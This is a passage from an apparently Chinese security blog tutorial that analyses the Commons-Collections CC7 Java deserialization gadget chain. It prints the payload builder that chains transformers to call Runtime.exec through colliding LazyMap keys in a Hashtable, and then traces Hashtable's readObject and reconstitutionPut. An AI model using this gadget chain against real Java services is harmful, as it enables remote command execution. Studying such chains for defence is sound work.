0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// Reusing transformer chain and LazyMap gadgets from previous payloads</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">final</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span>[] execArgs = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span>[]{command};<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">final</span> Transformer transformerChain = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ChainedTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Transformer[]{});<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">final</span> Transformer[] transformers = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Transformer[]{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ConstantTransformer(Runtime.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;getMethod&#34;</span>,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span>.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>, Class[].<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>},<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span>[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;getRuntime&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>]}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;invoke&#34;</span>,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span>.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span>[].<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>},<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span>[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object</span>[<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>]}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;exec&#34;</span>,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span>.<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span>},<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>            execArgs),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ConstantTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>)};<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span> innerMap1 = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> HashMap();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">22</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span> innerMap2 = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> HashMap();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">23</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">24</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">25</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span> lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">26</span>    lazyMap1.put(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;yy&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">27</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">28</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Map</span> lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">29</span>    lazyMap2.put(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;zZ&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">30</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">31</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// Use the colliding Maps as keys in Hashtable</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">32</span>    Hashtable hashtable = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Hashtable();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">33</span>    hashtable.put(lazyMap1, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">34</span>    hashtable.put(lazyMap2, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">35</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">36</span>    Reflections.setFieldValue(transformerChain, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;iTransformers&#34;</span>, transformers);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">37</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">38</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// Needed to ensure hash collision after previous manipulations</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">39</span>    lazyMap2.remove(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;yy&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">40</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">41</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> hashtable;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">42</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">之前说过CC链都是从任意类到</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">Transform</span></code><span style="font-size: 14px;">的调用过程，CC7也不例外，所以只要知道入口点然后一步一步向下跟就可以了。 <br/>可以看到最后返回的对象是一个</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashtable</span></code><span style="font-size: 14px;">，说明</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashtable</span></code><span style="font-size: 14px;">是反序列化入口点。为了更好的理解调用过程，先来了解一下</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">hashtable</span></code><span style="font-size: 14px;">。</span></p><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">什么是哈希表</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">散列表（Hash table，也叫哈希表），是根据关键 码值(Key value)而直接进行访问的数据结构。也就是说，它通过把关键码值映射到表中一个位置来 访问记录，以加快查找的速度。这个映射函数叫做 散列函数，存放记录的数组叫做散列表。  <br/>哈希表是由数组+链表实现的——哈希表底层保存在一个数组中，数组的索引由哈希表的 </span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">key.hashCode()</span></code><span style="font-size: 14px;"> 经过计算得到， 数组的值是一个链表，所有哈希碰撞到相同索引的key-value，都会被链接到这个链表后面。 </span><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8530884808013356" data-s="300,640" style="" data-type="png" data-w="599" src="https://wechat2rss.xlab.app/img-proxy/?k=1c81673c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVBApSf9QTsUicF1JUE9vicibcVmxNta4hrogKvtM0GdS3rwF0RJEIdy9cwDDgnqHMcicQBD06xWeDawQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">入口</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">了解了哈希表之后接下来我们看一下入口代码： <br/>这里只贴了关键代码</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span>int elements = s.readInt();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span>table = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Entry&lt;?,?&gt;[length];<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>count = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">for</span> (; elements &gt; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>; elements--) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>    @SuppressWarnings(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;unchecked&#34;</span>)<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>        K key = (K)s.readObject();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>    @SuppressWarnings(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;unchecked&#34;</span>)<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>        V value = (V)s.readObject();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">//</span> sync <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">is</span> eliminated <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">for</span> performance<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>    reconstitutionPut(table, key, value);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">首先创建一个Entry，这是上文讲到的哈希表中的那个数组。 <br/>然后进入for循环读取key,value，然后调用</span><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);"><span style="font-size: 14px;">reconstitutionPut</span></code><span style="font-size: 14px;">方法。</span></p><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">HashTable.reconstitutionPut</span></h3><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">private</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">reconstitutionPut</span>(<span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">Entry&lt;?,?&gt;[] tab, K key, V <span style="line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">value</span></span>)<br/><span style="line-height: inherit;margin: 0px;padding: 0px 20px 0px 0px;color: rgb(174, 135, 250);word-spacing: 0px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>    throws StreamCorruptedException<br/><span style="line-height: inherit;margin: 0px;padding: 0px 20px 0px 0px;color: rgb(174, 135, 250);word-spacing: 0px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span></span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">value</span> == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">null</span>) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throw</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit 